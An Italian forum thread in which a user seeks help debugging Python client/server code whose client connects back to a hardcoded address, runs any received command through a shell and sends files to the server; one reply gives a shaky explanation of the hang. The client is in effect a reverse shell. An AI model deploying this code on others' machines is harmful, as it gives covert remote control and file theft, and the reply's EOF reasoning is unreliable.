Trasferimento file client/server

di il
1 risposte

Trasferimento file client/server

Ciao ragazzi..sto realizzando un programma che permette di connettere due pc e far si che uno faccia da server per controllare in remoto il client.
Ora, volevo implementare il download dei file e l'upload, il problema è che sono bloccato al download. Praticamente funziona solo se metto un "break" nel ciclo del client dove manda il file. Ma così si chiude anche il client(però il server scrive su disco il file scaricato). Viceversa se metto qualsiasi cosa al posto di quel break, anche un richiamo a un altro metodo, non va più..rimane il file a 0kb, il server che dice "downloading the file" e il client pure che rimane in esecuzione. Non capisco se il problema sta dalla parte del server o del client(o già provato a eseguire il debug in entrambi, ma non ho capito il problema). Onestamente non so nemmeno se il ciclo è giusto, ho preso spunto da più siti internet e sembra che tutti facciano così. Provo a mandare i due file. E' da stamattina senza sosta che provo a risolvere, ma niente
Questo è il server:
import socket
import sys
import time
import interface


def socket_create():
    try:
        global s
        s = socket.socket()
    except socket.error as msg:
        print("Socket creation error: " + str(msg))
    try:
        s.bind((host, port))
        s.listen(1)
        print("Listening on " + str(host) + ":" + str(port))
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
    conn, address = s.accept()
    print("Connection has been established | " + "IP " + address[0] + " |  Port " + str(address[1]))
    time.sleep(0.5)
    send_commands(conn)


def send_commands(conn):
    client_response = str(conn.recv(4096), "utf-8")
    print(client_response, end="")
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                conn.close()
                s.close()
                sys.exit()
            if cmd[:8] == 'download':
                conn.send(str.encode(cmd))
                downFile = cmd[9:]
                client_response = conn.recv(1024)
                f = open(downFile, 'wb')
                print("Downloading " + downFile)
                while client_response:
                    f.write(client_response)
                    client_response = conn.recv(1024)

                    if not client_response:
                        print("Download completed")
                f.close()

            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(4096), "utf-8")
                print(client_response, end="")
        except (ConnectionResetError, ConnectionAbortedError):
            print("Connection with host was lost")
            s.listen(1)
            print("Listening on " + str(host) + ":" + str(port))
            conn, address = s.accept()
            print("Connection has been established | " + "IP " + address[0] + " |  Port " + str(address[1]))
            send_commands(conn)


def graphic():
    interface.gui()


def main():
    global host
    try:
        host = input("Enter your local host IP > ")
        print("Set LHOST --> %s" % host)
        global port
        port = int(input("Enter the port > "))
        print("Set LPORT --> %s" % port)
        socket_create()
    except (ValueError, OSError, OverflowError):
        print("You entered invalid data")
        main()


if __name__ == "__main__":
    graphic()
Dentro al metodo send_commands() controllo se dal server do come comando "download" in modo da far partire la richiesta.

Questo invece è il client:
import os
import socket
import subprocess
import time


def connect_to_server():

    try:
        global host
        global port
        global s
        host = "192.168.1.3"
        port = 9999
        s = socket.socket()
        s.connect((host, port))
        s.send(str.encode(os.getcwd() + '> '))
        receive_commands()
    except (ConnectionRefusedError, ConnectionResetError, ConnectionAbortedError):
        time.sleep(5)
        connect_to_server()


def receive_commands():

    while True:

        data = s.recv(1024)

        if data[:3].decode("utf-8") == 'cd ':
            try:
                cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
                                       stderr=subprocess.PIPE,
                                       stdin=subprocess.PIPE)

                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                os.chdir(data[3:])
                s.send(str.encode(os.getcwd() + '> '))

            except FileNotFoundError:
                s.send(output_bytes + str.encode(os.getcwd() + '> '))

        elif data[:8].decode("utf-8") == 'download':

                file_name = data[9:].decode("utf-8")
                with open(file_name, 'rb') as f:
                    fileToSend = f.read(1024)
                    while fileToSend:
                        s.send(fileToSend)
                        fileToSend = f.read(1024)
		    
                    break


        elif len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8", errors='ignore')
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))

        while not data:
            connect_to_server()


def main():

    connect_to_server()


main()
Anche qui, controllo se ricevo come richiesta "download" e poi mando il file. Non capisco perchè con tutti gli altri controlli, tipo se digito "cd" una volta mandata la risposta il programma esce dal ciclo e si rimette in ascolto, mentre qua, se non metto il break, rimane appeso all infinito. E il problema è che non capisco se il problema è in entrambi i file o solo in uno.
Vi ringrazio in anticipo

1 Risposte

  • Re: Trasferimento file client/server

    Se il break chiude il client, significa che o l'hai messo a livello di while True, o c'è un errore che fa chiudere il tutto.
    Il break è necessario, a quanto pare: ho trovato questo su StackOverflow.
    Il problema potrebbe essere che l'EOF arriva se e solo se il file è esattamente un multiplo di 1024 byte, negli altri casi potrebbero arrivare meno di 1024 byte, ad indicare che siamo al fondo, quindi di fatto la read non indica al with che è ora di uscire dal contesto.
Devi accedere o registrarti per scrivere nel forum
1 risposte